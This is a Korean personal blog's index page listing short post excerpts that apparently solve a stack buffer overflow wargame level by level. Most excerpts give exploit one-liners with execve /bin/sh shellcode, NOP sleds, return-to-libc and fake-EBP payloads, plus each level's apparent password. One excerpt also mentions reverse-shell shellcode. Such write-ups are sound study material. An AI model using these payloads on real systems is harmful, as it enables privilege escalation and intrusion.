티스토리

고졸백수해킹일기

검색하기

블로그 홈

고졸백수해킹일기

exploitsori.tistory.com/m

ExploitSori 님의 블로그입니다.

구독자: 1

방명록 방문하기

주요 글 목록

orw 보호되어 있는 글입니다. 공감수 0 댓글수 0 2018. 3. 15.
start 보호되어 있는 글입니다. 공감수 0 댓글수 0 2018. 3. 15.
xavius->death_knight reverse shell 이용쉘코드는 exploit-db 참조shellcode=\"\xeb\x11\x5e\x31\xc9\xb1\x6b\x80\x6c\x0e\xff\x35\x80\xe9\x01"+\"\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\xe5\x7b\xbd\x0e\x02\xb5"+\"\x66\xf5\x66\x10\x66\x07\x85\x9f\x36\x9f\x37\xbe\x16\x33\xf8"+\"\xe5\x9b\x02\xb5\xbe\xfb\x87\x9d\xf0\x37\xaf\x9e\xbe\x16\x9f"+\"\x45\x86\x8b\xbe\x16\x33\xf8\xe5\x9b\x02\xb5\x87\x8b\xbe\x16"+\"\xe8\x39\xe5\x9b\x02\xb5\x87\x87.. 공감수 0 댓글수 0 2018. 3. 13.
nightmare->xavius (python -c 'print "\x90"*19+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"+"\x01\x50\x01\x40"';cat) | ./xavius 다른 문제와 다르게 fgets으로 받는다 그리고 소스를 보면 ret주소에 스택영역의 주소와 libc주소를 사용하지 못한다따라서 stdin영역을 사용하기로 했다. nop[19] + shellcode[25] + ret[4] (stdin address) throw me away 공감수 0 댓글수 0 2018. 3. 13.
succubus->nightmare ./nightmare `python -c 'print "\xe0\x8a\x05\x40"+"aaaa"+"\xf9\xbf\x0f\x40"+"a"*32+"\x10\x84\x04\x08"+"aaaa"+"\x00\xfa\xff\xbf"+"\xd0\xf9\xff\xbf"'`0x40 0f bf f9buf{system+dummy+/bin/sh address +dummy 32byte} + strcpy addr + dummy[4] + strcpy ret + buf start addr beg for me 공감수 0 댓글수 0 2018. 3. 12.
zombie_assassin->succubus ./succubus `python -c 'print "A"*44+"\xec\x87\x04\x08"+"\xbc\x87\x04\x08"+"\x8c\x87\x04\x08"+"\x5c\x87\x04\x08"+"\x24\x87\x04\x08"+"AAAA"+"\x98\xfa\xff\xbf"+"/bin/sh"'` buf[40] -> SFP[4]-> DO address -> GAE address -> GUL address -> YUT address -> MO adddress -> dummy[4] -> /bin/sh address -> /bin/sh here to stay 공감수 0 댓글수 0 2018. 3. 11.
assassin->zombie_assassin fake EBP./zombie_assassin `python -c 'print "\x90"*4+"\xe0\x8a\x05\x40"+"\xe0\x91\x03\x40"+"\xf9\xbf\x0f\x40"+"\x90"*24+"\x90\xfa\xff\xbf"+"\xdf\x84\x04\x08"'` no place to hide 공감수 0 댓글수 0 2018. 3. 7.
giant->assassin ./assassin `python -c 'print "A"*44+"\x1e\x85\x04\x08"+"\x14\xfc\xff\xbf"'` `python -c 'print "\x90"*100+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\xb0\x01\xcd\x80"'` ret부분에 코드영역의 ret명령을 사용했다.buf + ret + shellcode ret +shellcode pushing me away 공감수 0 댓글수 0 2018. 3. 7.
bugbear->giant execve를 사용한 RTLpayload = buf[40byte] + SFP[4] + execve_addr + system_addr + exit_addr + /bin/sh addr + null one step closer 공감수 0 댓글수 0 2018. 3. 7.
darkknight->bugbear ../bugbear `python -c 'print "\x90"*44+"\xe0\x8a\x05\x40"+"BBBB"+"\x1a\xfc\xff\xbf"+"/bin/sh"'`;RTL을 이용하여 exploit해주면 된다.system 주소는 main에 bp를 걸어주고 p system을 쳐주면 구할 수 있다./bin/sh의 주소는 esp+8에 넣어주면 된다. uid=512(darkknight) gid=512(darkknight) euid=513(bugbear) egid=513(bugbear) groups=512(darkknight)bash$ my-passeuid = 513new divide 공감수 0 댓글수 0 2018. 2. 27.
golem->darkknight 나도 어떻게 푼건진 잘 모르겠지만 일단 "A"*40+"B"이렇게 입력하면 ebp(sfp)의 값을 덮어쓸수 있게된다.leave ret과정은 아래와 같다.mov %ebp,%esppop %ebppop %eipjmp %eip ebp에 shellcode가 들어있는 주소를 넣게되면 쉘이 따이게 된다.gdb에서는 왠지 모르게 argv error도 뜨고, 주소를 참조할수 없다고 막 뜨는데, 그냥 실행해보면 문제가 풀린다.(왜 그런지는 모르겠다. 화났다. 푼건 4시30분인데 의미없는 디버깅 2시간 20분동안 했다 짜증난다) new attacker 공감수 0 댓글수 0 2018. 1. 30.
skeleton->golem 공유 라이브러리인 LD_PRELOAD에 관한 문제환경변수에 LD_PRELOAD를 등록해 놓으면 모든 프로그램을 실행할때 LD_PRELOAD에 등록되어있는것을 공유라이브러리로 인식하고 적재하게 된다. setuid와 setgid가 걸린 파일은 라이브러리의 역할을 하지 못하지만, 이름은 메모리에 적재되게 된다. nop slide와 쉘코드를 이름으로 한 파일을 LD_PRELOAD에 등록하고 ret을 LD_PRELOAD가 등록된 주소로 돌려주면 쉘이 따이게 된다. cup of coffee 공감수 0 댓글수 0 2018. 1. 30.
vampire->skeleton 저번꺼하고 비슷한데 링크파일에 쉘코드를 넣어주는데 대신 argv[0]의 주소가 스택 맨 뒤에 존재함 shellcoder 공감수 0 댓글수 0 2018. 1. 28.
troll->vampire 주소 필터링으로 0x??ff????를 쓸수가 없다.메모리는 거꾸로 자라는 특성을 이용하여 많은 nop를 채워주고 그쪽 메모리로 ret을 돌려 쉘을 딴다 ./vampire `python -c 'print "\x90"*44+"\x9c\x76\xfe\xbf"'` `python -c 'print "A"*99999+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"'` music worldmusic world 공감수 0 댓글수 0 2018. 1. 26.
orge->troll argv[1]번째에 쉘코드를 못쓰고 인자를 1개만 받게 하여 argv[2]에도 쉘코드를 넣을수 없다.따라서 argv[0]번째에 쉘코드를 넣어 호출한다. ret은 core떠서 gdb로 esp레지스터를 끝까지 보면 삽입했던 nop들을 볼수있다../`python -c 'print "\x90"*50+"\xd9\xc5\xd9\x74\x24\xf4\xb8\x15\xc3\x69\xd7\x5d\x29\xc9\xb1\x0b\x31\x45\x1a\x03\x45\x1a\x83\xc5\x04\xe2\xe0\xa9\x62\x8f\x93\x7c\x13\x47\x8e\xe3\x52\x70\xb8\xcc\x17\x17\x38\x7b\xf7\x85\x51\x15\x8e\xa9\xf3\x01\x98\x2d\xf3\xd1\xb6\x4f\.. 공감수 0 댓글수 0 2018. 1. 26.
darkelf->orge ./로 파일명 맞춰주기 ../../../../../../../../../../../../../../../../../../..////home/darkelf/orge `python -c 'print "A"*44+"\x12\xaf\xff\xbf"'` `python -c 'print "\x90"*20000+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"'` timewalker 공감수 0 댓글수 0 2018. 1. 26.
wolfman->darkelf 인자 두개로 주고 그 전과 동일함./darkelf `python -c 'print "A"*44+"\xa0\xd5\xff\xbf"'` `python -c 'print "\x90"*10000+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"'` kernel crashed 공감수 0 댓글수 0 2018. 1. 26.
orc->wolfman ./wolfman `python -c 'print "A"*44+"\x0f\xfa\xff\xbf"+"\x90"*200+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"'` 이전과 같음love eyuna 공감수 0 댓글수 0 2018. 1. 25.
goblin->orc ./orc `python -c 'print "A"*44+"\xf0\xf9\xff\xbf"+"\x90"*200+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"'` core dump 이용 cantata 공감수 0 댓글수 0 2018. 1. 25.
cobolt->goblin 환경변수 등록 후 인자 전달만 바꾸면 바로 전 레벨과 같다(python -c "print 'A'*16 + 'BBBB' + '\xbc\xfe\xff\xbf'"; cat) | ./goblin hackers proof 공감수 0 댓글수 0 2018. 1. 18.
gremlin -> cobolt 환경변수buf(16)+sfp(4)+ret(환경변수 주소)./cobolt `python -c 'print "\x90"*20+"\xd1\xfe\xff\xbf"'` hacking exposed 공감수 0 댓글수 0 2018. 1. 18.
gate -> gremin 풀이buf(256)+sfp(4)+ret(4)nop(200)+shellcode(25)+nop(35)+ret(4) ./gremlin `python -c 'print "\x90"*200+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"+"\x90"*35+"\x70\xf9\xff\xbf"'` hello bof world 공감수 0 댓글수 0 2018. 1. 18.
stage31~34 보호되어 있는 글입니다. 공감수 0 댓글수 0 2018. 1. 17.
stage30 보호되어 있는 글입니다. 공감수 0 댓글수 0 2018. 1. 17.
stage29 보호되어 있는 글입니다. 공감수 0 댓글수 0 2018. 1. 17.
stage28 보호되어 있는 글입니다. 공감수 0 댓글수 0 2018. 1. 17.
stage27 보호되어 있는 글입니다. 공감수 0 댓글수 0 2018. 1. 17.
stage26 보호되어 있는 글입니다. 공감수 0 댓글수 0 2018. 1. 10.
stage25 보호되어 있는 글입니다. 공감수 0 댓글수 0 2018. 1. 10.
stage24 보호되어 있는 글입니다. 공감수 0 댓글수 0 2018. 1. 9.

문의안내

티스토리
로그인
고객센터

티스토리는 카카오에서 사랑을 담아 만듭니다.